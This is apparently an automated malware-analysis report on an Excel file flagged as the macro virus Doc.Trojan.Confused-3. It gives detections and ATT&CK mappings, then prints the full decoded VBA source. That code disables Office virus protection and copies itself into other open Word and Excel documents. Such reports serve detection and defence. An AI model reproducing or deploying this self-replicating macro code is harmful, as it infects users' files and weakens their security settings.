MALICIOUS
120
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1203 Exploitation for Client Execution
The file is an Excel document containing VBA macros, identified by ClamAV as Doc.Trojan.Confused-3. The macros utilize GetObject calls and attempt to disable security features, indicating an intent to execute arbitrary code. The presence of VBA macros suggests a spearphishing attachment delivery vector, and the overall behavior points to a downloader or dropper.
Heuristics 3
-
ClamAV: Doc.Trojan.Confused-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Confused-3
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
GetObject call high OLE_VBA_GETOBJGetObject call
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2291 bytes |
SHA-256: 24379a64843af9d1d64dd902573c6772f963abc1e523b22d7acd87db191e6de7 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Confused Memories
Private Sub Workbook_Deactivate()
On Error Resume Next
Application.EnableEvents = 1
Application.EnableCancelKey = 0
ρ "Word.Application", "ThisWorkbook", "ThisDocument", ThisWorkbook, Workbooks
End Sub
Private Sub Document_Close()
On Error Resume Next
Options.VirusProtection = 0
Application.EnableCancelKey = 0
ρ "Excel.Application", "ThisDocument", "ThisWorkbook", ThisDocument, Documents
End Sub
Private Sub ρ(ByRef α As String, ByRef ο As String, ByRef μ As String, ByRef ι As Object, ByRef ν As Object)
On Error Resume Next
With ι.VBProject.VBComponents(ο).CodeModule: λ = .Lines(1, .CountOfLines + 1): End With
Err.Clear: Set υ = GetObject(, α).VBE.ActiveVBProject.VBComponents(μ).CodeModule
If Err.Number = 0 Then If Not υ.Find("~^^~", 0, 0, 0, 0) Then υ.DeleteLines 1, υ.CountOfLines: υ.AddFromString λ
For Each υ In ν
With υ.VBProject.VBComponents(ο).CodeModule
If Not .Find("~^^~", 0, 0, 0, 0) Then .DeleteLines 1, .CountOfLines: .AddFromString λ
End With: Next: End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.